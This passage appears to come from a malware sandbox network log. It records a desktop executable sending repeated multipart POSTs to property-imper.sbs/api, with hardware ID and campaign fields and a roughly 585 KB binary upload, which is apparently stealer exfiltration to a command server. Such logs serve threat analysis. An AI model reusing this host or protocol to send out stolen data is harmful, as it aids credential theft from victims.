name="lid"LOGS11--LiveTraffic--KQ8AVD55
2024-11-23 14:37:11 UTC	1023	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:37:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3emdt1i8vnrk3umsjp5rvdrepd; expires=Wed, 19-Mar-2025 08:23:50 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2F%2FUzu9iTa76bs6zsrZRazqCobU%2FMp%2BnrtiUMrBzkXLVKNiXNXAW85gepVOyhamRc74yCDbeMjxRXpn%2FgPMqDMlY3K8KBt1mWq2gJvVSwUmgqmSO%2BBn1X0ZKW1IbbDX9iJXad76U%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e71e54ecb3942e6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1660&sent=12&recv=20&lost=0&retrans=0&sent_bytes=2845&recv_bytes=15983&delivery_rate=1781574&cwnd=201&unsent_bytes=0&cid=2e94ff9f9d8e3224&ts=961&x=0"
2024-11-23 14:37:11 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-23 14:37:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49708	104.21.33.116	443	2716	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:37:13 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=6GGK29P8J96RXRXV User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20561 Host: property-imper.sbs
2024-11-23 14:37:13 UTC	15331	OUT	Data Raw: 2d 2d 36 47 47 4b 32 39 50 38 4a 39 36 52 58 52 58 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 36 37 33 46 35 30 36 33 42 35 43 33 31 36 37 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 36 47 47 4b 32 39 50 38 4a 39 36 52 58 52 58 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 36 47 47 4b 32 39 50 38 4a 39 36 52 58 52 58 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 Data Ascii: --6GGK29P8J96RXRXVContent-Disposition: form-data; name="hwid"E673F5063B5C3167D7CBBD6DF28D3732--6GGK29P8J96RXRXVContent-Disposition: form-data; name="pid"3--6GGK29P8J96RXRXVContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic
2024-11-23 14:37:13 UTC	5230	OUT	Data Raw: 8a 95 d9 76 89 c4 4d c9 4d d9 5a b5 da 68 27 0c 46 c7 33 b7 ee 57 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 eb dc 60 Data Ascii: vMMZh'F3Wun 4F([:7s~X`nO`
2024-11-23 14:37:14 UTC	1019	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:37:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=t8babofqjo9fnc2g674tnualth; expires=Wed, 19-Mar-2025 08:23:52 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=B2nte%2FBoU336P2USCiGFWeW0Je6l%2BYywsmZbhWelmxPB7B7OopE%2BELOBwFPtbey%2F5XW7rnwzOLqC05s7IRJ5Rzw4Kik5sqonIrV31OUupP9DlrVBIPJa9KypkTo4Ni2C9OKIMTg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e71e55eceb87279-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1874&sent=16&recv=26&lost=0&retrans=0&sent_bytes=2844&recv_bytes=21523&delivery_rate=1483739&cwnd=212&unsent_bytes=0&cid=ba65d46adb72884e&ts=905&x=0"
2024-11-23 14:37:14 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-23 14:37:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49709	104.21.33.116	443	2716	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:37:16 UTC	273	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=B8D6WJNG User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1196 Host: property-imper.sbs
2024-11-23 14:37:16 UTC	1196	OUT	Data Raw: 2d 2d 42 38 44 36 57 4a 4e 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 36 37 33 46 35 30 36 33 42 35 43 33 31 36 37 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 42 38 44 36 57 4a 4e 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 42 38 44 36 57 4a 4e 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 42 38 44 36 57 4a 4e 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 Data Ascii: --B8D6WJNGContent-Disposition: form-data; name="hwid"E673F5063B5C3167D7CBBD6DF28D3732--B8D6WJNGContent-Disposition: form-data; name="pid"1--B8D6WJNGContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--B8D6WJNGContent-Di
2024-11-23 14:37:17 UTC	1012	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:37:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4k113j0qcf3g001oqhtfo0ul88; expires=Wed, 19-Mar-2025 08:23:56 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=R5c0ikGHFdL4figzBqJmUy%2FwvikJ51ZXbrPHPi107NqTLdN2%2FmHAa47Ur5HhevOxrXldZhNJ84jAMhsgpazC1rLIlXUn2Zlt5zHKQrnejETYMBx4RqnUt3tfHxDHtODKi2z0Y9M%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e71e5740cc60cc2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1535&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=2105&delivery_rate=1871794&cwnd=176&unsent_bytes=0&cid=930cecccccf14683&ts=705&x=0"
2024-11-23 14:37:17 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-23 14:37:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49710	172.202.163.200	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:37:19 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=y4vW5RedAlCZHPr&MD=Z+BH3x1a HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-23 14:37:19 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 7ecda1f5-209f-4c9d-9316-ed0047ea5cbc MS-RequestId: 1c283576-d799-4a03-8d93-d955d09d2a5f MS-CV: VBOUSka+dUSG6Iwb.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sat, 23 Nov 2024 14:37:19 GMT Connection: close Content-Length: 24490
2024-11-23 14:37:19 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-23 14:37:19 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49713	104.21.33.116	443	2716	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:37:19 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=QN8FTSG8ZIJ1PXMG User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 584662 Host: property-imper.sbs
2024-11-23 14:37:19 UTC	15331	OUT	Data Raw: 2d 2d 51 4e 38 46 54 53 47 38 5a 49 4a 31 50 58 4d 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 36 37 33 46 35 30 36 33 42 35 43 33 31 36 37 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 51 4e 38 46 54 53 47 38 5a 49 4a 31 50 58 4d 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 51 4e 38 46 54 53 47 38 5a 49 4a 31 50 58 4d 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 Data Ascii: --QN8FTSG8ZIJ1PXMGContent-Disposition: form-data; name="hwid"E673F5063B5C3167D7CBBD6DF28D3732--QN8FTSG8ZIJ1PXMGContent-Disposition: form-data; name="pid"1--QN8FTSG8ZIJ1PXMGContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic
2024-11-23 14:37:19 UTC	15331	OUT	Data Raw: 9f 39 a3 92 84 20 0d 9f df 94 eb 12 85 2a 72 89 b2 17 18 f5 a2 69 77 20 ea 93 06 38 08 cc 37 0b 02 0d 8d 28 7b dc 65 6c fa 99 08 bb 34 31 3a 82 ba b6 5d 3d 41 75 f5 84 58 a2 5b b9 ff b3 0a d5 2f 00 e3 7d 1b 98 c1 81 7b a6 b4 5c 0e 60 f7 0b 83 6d 2c a3 5a 13 34 d6 3b 81 9d 47 f5 d9 86 e2 ed a4 de 52 8d 86 37 f1 c6 27 db 6d 20 d6 01 69 c4 4f d8 27 a5 39 79 e0 40 e3 af 2d 3b 53 74 cc b6 e7 4e 25 90 bc 2a 4c db b6 55 a4 45 f7 e3 7e 4c 09 8b fb 64 c2 16 e9 94 66 9c e7 41 d1 23 e7 49 99 8b 13 aa fc 49 ed 78 5a e5 51 39 cd 21 58 b6 a7 08 d8 b8 f1 7f 16 15 63 0a 4f 63 66 a9 a9 9b 8d fe ae 0a 9c ba f3 24 1e 79 45 a1 ba 71 31 dd bb 5c 43 90 42 a6 b7 23 22 72 43 7a a5 2b 10 36 d8 96 ff 38 cc 08 0b fb fe 82 d6 36 33 95 4c 1e 5b 04 17 29 d8 41 94 b1 ba 9a cf 49 9f f9 Data Ascii: 9 riw 87({el41:]=AuX[/}{\`m,Z4;GR7'm iO'9y@-;StN%LUE~LdfA#IIxZQ9!XcOcf$yEq1\CB#"rCz+6863L[)AI
2024-11-23 14:37:19 UTC	15331	OUT	Data Raw: a0 e5 51 9f 08 5a ee 4e 37 40 79 41 96 25 73 ca 8a c7 4c 26 79 ae 35 78 37 a8 a1 de 5d 53 e1 d6 bd ad 03 a8 16 9f 70 d3 18 8f 48 a6 ec 4f 2f 71 68 9c 4b 90 d5 31 6b 91 81 c9 ac 91 17 a9 0f bf e7 93 72 69 72 d0 b8 3e 87 d2 8d d8 e6 d6 ae 5f 8d 81 4c df cd 2b a7 34 5d 32 bc 96 bb 1e c1 25 d1 1e 92 e1 ee da 8c cf 6a 25 f9 b9 33 11 ad c6 a9 5b d1 dc 7f cd 8c b1 a1 5a 94 2c 76 c2 05 de a1 be 8b 67 67 11 88 f6 3c a8 ad 75 f6 94 5b 9a 01 c6 af 3a 15 b2 24 58 f6 a4 3f 64 8a c3 74 c9 cd ae 6e e7 d6 35 d7 9a e8 87 11 9a df b2 5b a9 0f 6f 91 c9 56 fd 57 cf 2b 2a 8f 1b 96 4a cd 09 15 6e 49 1f 92 d4 94 42 07 d8 63 cc e8 16 e9 8d 7b f2 a2 62 88 d3 17 38 04 d2 42 05 ca 0c 1b cc 2b 25 28 ca e0 bb b7 93 07 4f d9 d9 ea f6 24 d0 d5 71 5c 4f 74 7e aa 72 96 a8 73 d4 5d dd 45 Data Ascii: QZN7@yA%sL&y5x7]SpHO/qhK1krir>_L+4]2%j%3[Z,vgg<u[:$X?dtn5[oVW+*JnIBc{b8B+%(O$q\Ot~rs]E
2024-11-23 14:37:19 UTC	15331	OUT	Data Raw: 5e fa 05 63 fb 68 55 16 dc ab fa e7 5e 68 e7 d6 21 14 12 e9 d1 c3 fa d2 bc d4 71 f7 e5 3c 1d 16 cb ef a2 78 70 8b b1 f8 d7 6b 35 2a e7 f7 d2 72 ce 93 a5 c4 82 85 cf cc 4d fa 29 e1 a6 8f af 2f b4 67 57 2f 51 5c 35 91 75 67 8c b7 82 8a e9 ba 5e 0d 12 43 67 f8 f0 ec e0 b1 65 fa fe 16 c4 fa 12 da 40 98 c4 e1 ac 92 4a eb dd ff 0c e6 4d aa b0 72 c6 7e 9f 1e 66 d9 0a 7e 7e 1f 10 5a ff 35 6f 76 37 66 cd 4c 47 ee 7d ef 05 df ed 05 5f 27 00 54 51 72 71 80 2a 2f a5 23 f6 0d 5b 70 90 f8 e1 34 a4 56 79 90 fb 1b ab 34 0e ee 3e a9 d8 f1 39 b1 ea 7a 9a 90 8c 0a 98 d7 9f 8d 7a 00 cd ad 62 8d c8 7f 05 49 79 fb fc e0 e0 10 1f 24 92 7b 24 a0 f2 1b ba d0 82 2c e2 c2 76 ff ea e1 07 2f 3e 94 2c fd 72 f3 b9 93 25 88 af cc 7a a7 24 01 36 17 0a df a4 b3 43 14 0f a3 dc bb 2a 93 a0 Data Ascii: ^chU^h!q<xpk5rM)/gW/Q\5ug^Cge@JMr~f~~Z5ov7fLG}_'TQrq/#[p4Vy4>9zzbIy${$,v/>,r%z$6C*
2024-11-23 14:37:19 UTC	15331	OUT	Data Raw: 02 5d 9e 44 1f 84 27 7f 32 94 e3 e1 6b f5 fc 46 6f 89 52 f3 7c 2e 53 16 af 4c 51 4e 3f 12 9f 5d 71 1d fd 51 2b 24 11 35 9c 26 40 93 80 6b 7d 85 71 cd db d1 cc 80 d4 2b d1 ec 51 85 54 12 12 62 88 91 1e e4 d0 44 bd 2d b1 ec 0f 57 12 dc 4f 09 d4 a6 74 b8 3a a7 fa 71 ec e8 69 aa 22 bc 61 86 2c 3b 89 f3 b7 e5 6c 2d 8c 8a 78 93 d7 58 d3 dc 90 1e 8f 8c 04 0f 55 84 c3 a6 31 ff 53 90 72 36 c2 d4 73 be 7f 8b f3 42 2c 03 49 a1 a1 9e 4a 69 f4 bd b5 21 db 6d 92 e0 cd 63 98 ba ee b8 73 3a 7a 0e d3 8a d1 da 86 3f dd fa 80 38 de c8 95 8d 16 8f 1c 17 7f c0 0f 08 73 32 ff 7b 83 ff cf 0b f4 de 9f 4a 41 f3 bf bb ce 53 1b 50 07 25 86 2d df 82 c4 45 dc 6e 2e 5d f9 59 9a 9c 51 69 3f 3b 79 04 ba 00 92 83 32 38 d3 39 c0 ef 11 15 48 1a 68 34 0c c3 e6 cd 4e 66 8e b5 35 84 7f 9a 4b Data Ascii: ]D'2kFoR\|.SLQN?]qQ+$5&@k}q+QTbD-WOt:qi"a,;l-xXU1Sr6sB,IJi!mcs:z?8s2{JASP%-En.]YQi?;y289Hh4Nf5K
2024-11-23 14:37:19 UTC	15331	OUT	Data Raw: 1b d9 c3 88 98 08 0d 98 29 8f 9d 59 d4 6b 53 3e 41 ac 2f 48 5f a3 af 2b 5d 5a 64 f8 34 ae bb dd e1 89 6b 12 3a 0b d2 c4 e0 26 04 fc 3d 70 50 e0 8b 98 b0 ca b6 13 57 e3 6f 37 23 06 9f 62 85 cd 84 25 42 e6 54 54 06 1c 5c 1b 49 4e 4a 2e 18 53 ed 15 b7 e3 c6 fb 31 cb 5e fc 58 ad 66 86 c9 d3 b5 ba 40 6d f0 59 9e f1 66 17 06 d4 34 50 36 a1 55 d2 d6 8c 2e d3 98 17 ae df 42 ed 96 32 cc ba 1f 5f 73 6a 8b d1 30 cf b0 0d d6 d2 9f e7 f3 3c 5a 78 4c 66 af 99 11 95 5a 58 60 fc 7b f8 9f 96 7f 14 74 cc 3d 2a 56 96 01 78 0d 12 45 8d 2f 1b f8 40 da 80 66 9c 35 85 2d 9b 8a 18 fd fe 5c 16 c0 38 91 cd e3 80 9d d0 e1 91 d0 58 31 f5 7b 3c d5 e1 77 d0 d9 b5 a5 4c ad aa 6d 2b 21 65 21 cf 71 70 c6 c9 2e 12 5f eb 23 a5 4b 76 aa 39 bd ba 45 2c 57 07 d8 44 98 26 62 33 2a 76 fc e5 ff Data Ascii: )YkS>A/H_+]Zd4k:&=pPWo7#b%BTT\INJ.S1^Xf@mYf4P6U.B2_sj0<ZxLfZX`{t=VxE/@f5-\8X1{<wLm+!e!qp._#Kv9E,WD&b3v
2024-11-23 14:37:19 UTC	15331	OUT	Data Raw: 76 e6 f9 ac dc 16 4d b3 08 91 e6 05 68 3e 29 5d c4 4f e5 14 24 34 c5 62 dd 84 ed 32 58 2a 7b e4 ee 88 75 c9 1d 3c 46 e9 e4 1c 07 59 b3 14 a9 50 d7 bd d1 c8 e3 09 78 b2 f1 58 07 89 6a 26 97 36 1f e8 6c f9 28 21 17 37 d3 45 29 b6 2b 0c b5 cb 8c 70 18 85 73 0f 88 46 87 d6 19 3d bb be b8 13 bc 6c 6d 32 31 62 04 4d 12 6a b4 86 aa 0c 33 e0 04 b6 b5 73 79 92 78 96 b8 23 36 d4 30 93 7c 3a 83 85 bc fe 78 3e 1e 0c 10 da 02 e8 65 6f 97 0e 78 08 d0 9c b5 1d 9d 8b 48 c9 c1 db a0 da 67 28 2a 6c 32 7d 84 c5 0e eb 0b b6 e2 3c d1 15 22 7d 2d 91 38 d7 65 2e 4c c3 f9 e3 9e d4 c9 d0 22 fc 09 eb 37 f7 e2 93 43 4a 05 c6 a3 e6 e6 73 4c 75 6b 03 04 39 88 c9 93 a2 d2 e9 26 0d 7e 48 3f c1 ad 72 96 fc cf 3b a5 d6 86 fd ce f1 d8 13 0f 91 bf 52 6c d6 a1 f7 dc c7 a6 42 f3 b1 9c 3c ba Data Ascii: vMh>)]O$4b2X{u<FYPxXj&6l(!7E)+psF=lm21bMj3syx#60\|:x>eoxHg(l2}<"}-8e.L"7CJsLuk9&~H?r;RlB<
2024-11-23 14:37:19 UTC	15331	OUT	Data Raw: e1 a3 14 70 40 a3 77 ca 42 b3 41 05 af 79 4c 9f 02 9f 4f 27 49 f3 68 9a 79 e1 93 c7 95 94 dd 67 2b 58 1a e0 03 4e c7 bc d1 69 a5 78 2f e2 1d 8c 5b 4c f5 9a 5e ff 4a a9 49 29 85 76 a8 7b fb 8b 2a 0e 3a eb 89 65 3e 95 f4 cc a2 18 92 78 68 02 8e ee ba 74 2c 03 a4 e1 3a f4 50 79 9b 70 e7 af 96 7b c2 e5 eb ff 9e 87 97 9c 11 44 33 25 40 77 0d e1 ad e7 7f 26 a8 11 c5 08 62 94 b0 6b 4e 39 b2 57 a4 ea 20 8d 90 8c c8 bb 87 7b 44 de 08 97 00 03 95 14 81 65 c0 c2 b2 df 0c c4 f8 3c a8 c8 5a d4 6a 20 f8 08 f6 78 a1 63 8d bc d2 70 76 1e dc 7e 75 bf d7 a6 32 c2 b5 58 b0 37 ba ae 2a fe 06 1c 11 0b 7f 59 53 23 fa e9 5c fb 1c d3 34 86 b4 57 13 9d 34 47 91 6b f6 b0 5f 38 a6 81 92 08 2e 96 fd 82 a5 dd 2a 9d 04 4a ca 59 c7 1f 8a d2 e9 88 a4 36 2a 6e 66 98 d1 f6 28 5f fb 53 90 Data Ascii: p@wBAyLO'Ihyg+XNix/[L^JI)v{:e>xht,:Pyp{D3%@w&bkN9W {De<Zj xcpv~u2X7YS#\4W4Gk_8.JY6nf(_S
2024-11-23 14:37:19 UTC	15331	OUT	Data Raw: 2f d1 b5 6f d6 be f0 c1 59 30 e9 a3 97 e3 41 50 e8 8d e6 a3 cb a9 e9 18 b8 1f c7 83 59 34 3b a8 e0 4b aa 90 3d b2 a9 f3 c1 6d 87 b2 44 7e 5e 56 ba fa 88 14 d7 8c 40 54 4b d1 95 cc e9 2a 55 90 be 84 05 05 3b 14 75 32 79 f7 53 13 09 14 2e 62 10 59 1f 32 f4 41 32 6e bf df d4 f2 c7 18 9c b4 55 ee 67 fa f7 1d 9f fe d4 5b ad 4b 39 be eb fb 79 8b 2f e9 46 5a ea 62 f1 01 0f 9f af 37 6f 4a 2d d4 4c fd 3a c0 33 e1 a2 69 cd 32 dd fc e0 5c 74 a3 6f b7 2a 7e 56 57 6b c8 24 fc c8 30 20 d4 66 b7 ff 1c 1b 15 34 77 43 93 77 80 5a ff e8 28 9f 20 f7 62 dc 62 65 61 15 1a fe 76 f0 bf 7f e8 da ce 22 99 1c 6f 7e 20 86 4d 81 eb f3 aa be 13 e3 78 94 db 6a 62 07 38 7a 90 8b e5 6c a4 14 9f 3b 4c d3 41 e2 16 8b 30 3b 9e b1 8f 44 df 8c a5 ec 9b 3d 7c 36 c7 8f fe b2 c5 6a 9c ca 91 07 Data Ascii: /oY0APY4;K=mD~^V@TKU;u2yS.bY2A2nUg[K9y/FZb7oJ-L:3i2\to~VWk$0 f4wCwZ( bbeav"o~ Mxjb8zl;LA0;D=\|6j
2024-11-23 14:37:19 UTC	15331	OUT	Data Raw: d0 2b ec b2 09 f9 66 4d 61 59 c3 2e 1f b7 e1 e8 92 e0 96 1b 05 c1 4b 42 9a be 66 54 0b ab 1a 4b 22 22 10 9a 6b cc 0f ac f7 39 8b 2f ec 6d c4 80 f2 43 2a 01 7d df 40 91 22 57 5e 08 5c 68 97 c2 c1 19 67 80 ef 56 e0 82 5d ed 85 a8 b5 55 c1 e7 f1 c0 bf 19 aa 0c 3e 2f c4 df 96 ed a1 87 c6 05 80 a2 d9 3f 5b de b6 39 62 d9 ce 58 3e 61 6e ea 43 5c 74 a9 b7 06 37 e7 61 c6 ef 1a 32 46 86 20 92 c9 3e bb 55 4a a1 2f fa 2d d2 d4 6d e3 be 9b 66 fe aa a0 e3 c4 47 a0 b9 f6 1f d2 49 6f 7a bc 74 76 72 4f ee 57 a9 0e b7 55 a9 83 19 1f 5a c3 9c e2 97 a7 a4 95 08 28 42 7e dd 27 69 65 4a 92 48 09 e7 8c 59 ca f7 1d 62 9e ac 36 69 25 61 3b 98 9a 2f c2 98 7d 4c 71 f5 22 da 31 2d 14 20 50 b7 3a 4a 26 d0 89 d4 64 9d 14 40 72 22 15 25 d7 1a 27 b9 34 ae d7 6c 90 71 bd ac 7e e8 0d 1e Data Ascii: 